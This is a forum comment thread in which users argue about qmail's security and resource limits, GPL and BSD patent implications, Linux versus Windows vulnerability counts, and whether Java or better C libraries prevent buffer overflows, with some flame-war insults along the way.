
Re:qmail smtpd_auth

[dmelomed]

> Sure... like I said before: to djb it's not a flaw, it's a feature! And, you know what? That's his business, and well in keeping with his rep as the archetype of the uber-opinated developer.

And not only to DJB. The rlimit() has been present in OSes for a while, unlike you, some people understand the trade-offs between simplicity and efficacy of something like rlimit(), and the error-prone and complex approach that Postfix takes to micro-manage memory allocation.

> If you patch it at all (and you have to if you want any of the innovations that have come about since the half a decade or so that qmail stopped development), the guarantee is no guarantee.

And who's claiming otherwise than the trolls such as yourself? This is obvious to anyone who's read it.

> Oh, and by the way, admin, if you think that qmail takes steps to protect you from known problems with the OSes it claims to support (as, according to dmelomed, other MTAs do), guess again.

Obviously if you have a serious OS problem that needs to be fixed, no MTA will be able to protect you no matter how hard it tries, and the resulting code would be bloat at best; the DJBs security guarantees are clear about this, you can't blame qmail for OS problems, and you can't blame qmail for problems in the patches - nobody is trying to hide this fact, only idiots that abuse AC for trolling on slashdot make believe otherwise.

Re:qmail smtpd_auth

[Anonymous Coward]

only idiots that abuse AC for trolling on slashdot make believe otherwise.

We'll see what admins decide about who is right. In the meantime, if I really am a troll "abusing" the option of being labeled an Anonymous Coward, you certainly have been a most obliging sucker. Of course, that's not much of a change from being a most stalwart useful idiot for djb. Cheers!

Re:qmail smtpd_auth

[dmelomed]

> We'll see what admins decide about who is right. In the meantime, if I really am a troll "abusing" the option of being labeled an Anonymous Coward, you certainly have been a most obliging sucker. Of course, that's not much of a change from being a most stalwart useful idiot for djb. Cheers!

No. it's just I enjoy feeding anti-DJB trolls such as yourself. Funny how they run out of baseless arguments in the end and fall flat on their face. Cheers!

Re:Could you clarify this?

[Ded Bob]

That's what happened with Unix: Hardware vendors made sure that only their proprietary version would run on it, so the original BSD-code became useless.

Here shows a convoluted history of UNIX.

Who wrote SysV? Was it derived from BSD-code?

Tell the NetBSD folks that their code cannot run on a multitude of platforms.

Wrong. If you use GPL-code, you agree to wave any rights of patents you might have.

If you develop with GPL code, you are not allowed to have patents on the code. Use is a different matter. Also, I believe the original poster was stating the fact that just because you develop under the GPL does not protect you from suits from patent holders.

If Sony and JVC do a joint project under the BSD license, and Sony has some obscure patent on it, JVC is screwed and Sony essentially owns their work.

Most companies are smart enough to agree on mutual patent use for the project when they do joint work. A license is weak protect in court compared to a signed agreement between companies.

As far as I know, IBM has not been harmed from working on Apache.

If Sony and JVC do a joint project under the GPL license, and Sony has some obscure patent on it, nobody is screwed because Sony would not be allowed to use the project under the GPL if they want to enforce their patent.

If they want to sue, they still can and do. I see SCO's suit has not been thrown out no matter how invalid it is.

Troll?

[Overly Critical Guy]

Wait a minute, who was the moron who modded that as troll?

How is posting a link to a previous Slashdot article trolling?

Sometimes Slashdot still amazes me...sheesh.

Re:Troll?

[Anonymous Coward]

you're a dumb troll who can't do anything original or interesting. everyone knows this. you know this too.

you're getting more and more uninteresting. why don't you take a break from slashdot for a few months and get a life?

Re:Could you clarify this?

[RoLi]

Please don't mix it up.

Of course no license can protect you from 3rd party patent holders, I think that's pretty obvious, don't you think?

But a patent holder is not allowed to use Linux and enforce patents against Linux at the same time. If company X has a patent that would be used in project Y, it can either a) waive the patent and use project Y or b) enforce the patent and drop project Y, it cannot do both.

And that's why the GPL is a pretty good safeguard against corporate lawsuits and so popular for corporate cooperation.

Re:Could you clarify this?

[RoLi]

Sorry, I've missed that:

If they want to sue, they still can and do. I see SCO's suit has not been thrown out no matter how invalid it is.

Get your facts straight: SCO never sued anybody for using Linux, they sued IBM for copyright violation. They threatened a lot of people to sue, but they haven't actually sued anybody for using Linux. Because that case would be so ridiculous, even SCO doesn't do that.

So, yes, the GPL doesn't prevent crazy people from threatening to sue.

How old is C now anyway?

[presidenteloco]

A language like Java, with a carefully designed JVM implementation, is not subject to buffer overflow/heap overflow exploits. Is it maybe time to rewrite all of the higher level OS apps in Java? Sure, keep a microkernel in some blazing fast C/assembly code if you must, but there's not reason something like SSH can't be written in Java (in fact it has been.) Why not all of the high-level Linux apps (i.e. the GNU stuff)? If you don't like Java's license, then do as MS did with C#, and clean-room rewrite Java under a GNU project first. I'd do it myself but I'm still trying to figure out how to make a living in this damn business.

troll

[Anonymous Coward]

read his journal
he's a troll
just a slacker
bitching

O'Caml

[Anonymous Coward]

Check out Objective Caml. It's a fast, modern functional/object oriented language. It's compiled, but pretty safe (buffer overflows impossible unless you explicitly turn off bounds checking). Has a lot of nice features, e.g. type inference.

The only place is falls down are the libraries. Not that they are really poor, but nowhere near what Java/Perl offers.

Re:How to tell if you are a Linux fanatic

[Keeper]

1. Treats the ability to open attachments in Outlook as a windows vulnerability.

2. Treats IIS vulnerabilities as Windows vulerabilities because IIS runs on Windows.

3. Treats SQLServer vulnerabilities as Windows vulnerabilities because SQLServer runs on Windows.

4. Treats DCOM vulnerabilities as Windows vulerabilities because DCOM runs on Windows.

5. Treats all software problems on Windows as problems caused by Microsoft.

6. Double counting "Windows" vulnerabilities by counting all of the patches put out for different versions.

7. Ignorant of the fact that the Windows kernel is exploited as (in)frequently as the Linux kernel.

8. Frequently talkes about Linux "distributions" in most OS discussions, except when a flaw is discovered in some OSS software that everyone runs -- in which case they run around screaming "Linux is not an operating system!"

More than just linux

[bluGill]

I run FreeBSD on my "linux" machine. There is also NetBSD and OpenBSD for those concerned that linux isn't diverse enough.

Sure Linux is the most popular openSource OS kernel, but it isn't the only one. FreeBSD averages out just as good. (better in some areas, worse in others - mostly you can't tell the difference) The others aren't as good overall, but each claims something major that might make it worth running anyway. (openBSD is secure, netBSD runs on everything)

Re:More than just linux

[pantherace]

netBSD runs on everything

Care to show it running on a Sharp Zaurus?

I asked some netBSD people at LinuxTag, but they didn't know of any support for it (other than arm/strongarm in general)

Linux runs on it, does NetBSD? If so, please post a link.

Re:More than just linux

[bluGill]

I'm not a lawyer, and I do not normally post obvious legal disclaimers. However here is an attempt.

NetBSD makes a best effort attempt to support all general purpose computing devices with a minimal required set of hardware abilities and legally obtainable specifications. However no gaurentee is made that any particular device is supported.

Happy now? I'm sure a real lawyer could not only word that better, but also find some loophole that I missed, but you get the idea.

Seriously though, linux may from time to time support more systems, or different systems. However except for a few popular platforms the support is very lacking. NetBSD supports the most platforms and makes the best effort to make the code easially portable to new platforms.

Re:More than just linux

[pantherace]

I know it runs on some different systems (some early turbochannel DECs come to mind.

I do kind of enjoy annoying people who make absolutist statements in general. Nothing in particular, except, I would like to know if NetBSD does run (shouldn't be difficult to port for someone with the right background, because it is almost all documented and open (the stupid sd/mmc being the exception)

About lacking support, that is highly variable with which distribution you use. (I have/am run(ing) linux on x86, alpha, sparc, sparc64, armv4l) Debian does a pretty good job on most. I am trying to get Gentoo (which is ok) to be somewhat easier. Other distros, such as OpenZaurus are very good on the PDA/Embedded.

Re:How to tell if you are a linux fanatic.

[TheNetAvenger]

You couldn't take on the reasoned and well thought out answers posted above becuase you and your kind don't have a leg to stand on

Well honey, there actually wasn't a well thought out point to even respond to, just a lot of anger.

I thought a little humor was in order to talk you off the clock tower.

Next time take five, breath in and breath out before getting upset - it causes frown lines.

BTW As a card carrying member of PFLaG, I suggest you re-evaluate labeling me a homophobe you're definately barking up the wrong tree.

Re:How to tell if you are a linux fanatic.

[TheNetAvenger]

The software I use to do this is VMWare which can of course be used to run any PC OS. It's a very good piece of software. Does it run as well under Windows?

Yes, runs quite well. They have done a good job with the product.

TheNetAvenger

SSL holes

[David Jao]

Good ol standard SSL wrapping telnet is an unbeatable match.

The only available free-software SSL telnet implementations all use openssl, or its predecessor SSLeay (please correct me if I'm wrong; I would love to learn about other options). This SSL library has had numerous security updates in the past. I would hardly call this record unbeatable.

I use telnet over freeswan IPsec, and I like this combination very much, but no matter what you do, you have to be on your toes.

Re:SSL holes

[DA-MAN]

How many were remote root exploits?

Re:SSL holes

[David Jao]

How many were remote root exploits?

One.

Sure, it compares favorably with openssh, but it does not even come close to my standard of not having "any weekness [sic]".

No way.. impossible

[Anonymous Coward]

No... can't be possible... this is GNU/Linux after all, and everyone knows that GNU/Linux is pristine, perfect in every way and completely, totally and utterly bug-free. Only the big evil Microsoft OSes have bugs, so this story must be bogus.

Can you see the sarcasm dripping from the words?

Re:How to tell if you are a linux fanatic.

[Anonymous Coward]

Well honey, there actually wasn't a well thought out point to even respond to, just a lot of anger

Anger? Where? I didn't say anything angry. I only stated the facts. Cocknozzle.

Re:How to tell if you are a Linux fanatic

[Bull999999]

1. Outlook isn't a windows vulnerability, but it is indeed a MS vulnerability.

2. Same as above.

3. Same as above.

4. I guess that logic whould make you a Linux fanatic.

5. Same as #4

6. All modern Windows comes with IE which are, by MS's accout, inseperable part of the Windows. Therefore, IE vulnerabilities are Windows vulnerabilities.

7. Windows OS and Windows kernel is an intergrated product. You can't buy Windows with Win98 OS and NT kernel, whereas, it's possible to use Linux kernel with different OSes, desktops, etc.

8. I guess you've never been in the discussions about putting GNU infront of Linux as in GNU/Linux, have you? Besides, Linux was never an operating system and never will be. 99% of people on Earth can refer Linux as an OS but it that still doesn't change the fact that Linux is just a kernel.

Native code

[Anonymous Coward]

It is impossible to do anything of significance in Java without using the VM's implementation of API function foo() or writing a native module to do it yourself.

So we shift the buffer overflows to a different layer of the stack while sacrificing performance, control (no copyleft), footprint, and maintainability. Yes, you got that right, I am bashing java's maintainability.

Re:How to tell if you are a linux fanatic.

[TheNetAvenger]

Anger? Where? I didn't say anything angry. I only stated the facts. Cocknozzle

Cocknozzle?

Yeah, no anger at all... LOL

Re:How to tell if you are a linux fanatic.

[Trolling4Dollars]

You equate insults with anger? I have to laugh.

Duh

[R.Caley]

OK, I missed the reply from TomV. It's early here and I hadn't had by second cup.

Reactive hysteria. Anecdotal evidence.

[jotaeleemeese]

Reactive hysteria? Reactive hysteria? In which planet do you live pal, I wanna move there.

My company, with a hardworking force of well trained Windows administrators, has been brought to a standstill a couple of times this year thanks to the complexity of patching MS insecure software.

Windows may not be as insecure as most people say, but oh boy, the way to get to a configuration that is barely trustable is full of pain, wasted time and dissapointment.

Linux and open systems in the other hand are easy to defend and the patching process is more straightforward. This contributes loads to being able to maintain an OS secure.

If you would have bothered to read the full thread about the article claiming Linux is the most compromised OS you would have realized that the company issuing the warning has no good standing at all and thus its reports are not to be trusted.

And regarding anecdotal evidence: I have been working with Linux for 7 years now. Professionally. I have not been compromised once. Anecdotal evidence is all what I have, I am not a company doing market or security research, as are not most of the people posting here, but when there is so much anecdoal evidence in favor of one tool like Linux, due attention should be given to this.

Re:Could you clarify this?

[Ded Bob]

But a patent holder is not allowed to use Linux and enforce patents against Linux at the same time. If company X has a patent that would be used in project Y, it can either a) waive the patent and use project Y or b) enforce the patent and drop project Y, it cannot do both.

Yes, they are. As long as they did not write any code in Linux or distribute it, they could do both. I see no section in the GPL concerning patents with regards to use within a corporation.

Of course, this depends on your definition of use. Use as in just run the project or use as in develop off of. The above is in regards to running internally.

And that's why the GPL is a pretty good safeguard against corporate lawsuits and so popular for corporate cooperation.

If I was in that situation, I would rather use a BSD license along with an agreement between corporations. It would be easier to defend when you have a signed agreement from your challenger if it went to trial.

Re:Could you clarify this?

[RoLi]

Yes, they are. As long as they did not write any code in Linux or distribute it, they could do both. I see no section in the GPL concerning patents with regards to use within a corporation.

To use it, you have to agree to the GPL.

Of course, this depends on your definition of use. Use as in just run the project or use as in develop off of. The above is in regards to running internally.

You contradict yourself. It doesn't matter wether the company contributed relevant code or anything at all when it comes to patents.

Re:Could you clarify this?

[Ded Bob]

To use it, you have to agree to the GPL.

I did not say otherwise. They could use Linux internally while still charging others to use the patents involved.

You contradict yourself. It doesn't matter wether the company contributed relevant code or anything at all when it comes to patents.

Read sections 7 and 8 of the GPL. These are the only two sections on patents. They discuss the distribution of GPL'd code. They do not talk about using the code.

Also, check this FAQ item. This is the version of "use" I am talking about.

Safer C string libraries

[dmelomed]

These libraries already exist. The standard C library is crap, but not many people realize this.

Stack protection

[dmelomed]

Java Java Java Java Java. Blah Java. Language zealotry bad.

Propolice is stack smashing protection for C, and OpenBSD for instance already ships compiled with protection by default.

Re:Stack protection

[Spy Hunter]

Java is just an example. I'd be perfectly happy with a form of protection for C, as long as it was complete, 100%, guaranteed protection against buffer overflows and the like. Anything less than that is just asking for trouble.

Better C libraries

[dmelomed]

But there are libraries that are better than the standard C library, which is piss poor. People just settle for the standard C library instead, and suffer in the long run.

Resource exhaustion

[dmelomed]

Using ulimit in your shell, or another rlimit() tool before running the JVM would have prevented your trouble.

Right tool for the job

[dmelomed]

I think any language zealotry is counter-productive and just counter-innovative, whether it's Java or Lisp.

And yes Virginia, Java can scale just as well or better than C for some tasks, see SEDA for instance. Not such a terrible surprise for those that know Apache still isn't such a great performer any way you look at it.

Java scalability

[dmelomed]

Java can be scalable. See http://www.eecs.harvard.edu/~mdw/proj/seda/">SE DA

Safety

[dmelomed]

Again, C can be much safer with good libraries AND practices. Java isn't THE answer to all our problems. qmail and djbdns are written in C for instance, and do not have a single buffer overflow.

Re:Safety

[Spy Hunter]

qmail and djbdns are written and managed by one person who is obsessive about security and doesn't use the standard libraries that everyone else does. If everyone coded like him, we wouldn't need to worry about buffer overflows. But people don't, and we shouldn't have to expect them to. The language can and should protect us from most stupid mistakes. We should be able to put a reasonable amount of trust in open-source code that has been modified by many people, some of whom aren't experts in security or even experienced coders.

Re:Safety

[dmelomed]

No, we should expect them to use good methodologies, and good libraries.

Resource exhaustion attacks

[dmelomed]

It's also important to note for the anti-DJB idiot trolls that qmail's resource limits control is DOCUMENTED and recommended - rlimit() in either your shell or a utility such as softlimit.

DJB's software licensing

[dmelomed]

You hypocrits use commercial software with closed source all the time, and don't complain about it either (Netscape's web browser back in 4.x days for instance). Additionally, many of the libraries used in DJBware are public domain.

DJB uses slashpackage that isn't familiar to most, but solves the packaging problem with a flare that is an eyesore in many Unix OSes. slashpackage isn't a requirement though, and you can back out of it before you compile.

The "exploits" reported are idiotic attempts to blackmail DJBware as evident from the mailing lists, author's responses, and people who know the software well and don't jump on the blackmail bandwagon. No one has claimed the security guarantee money yet.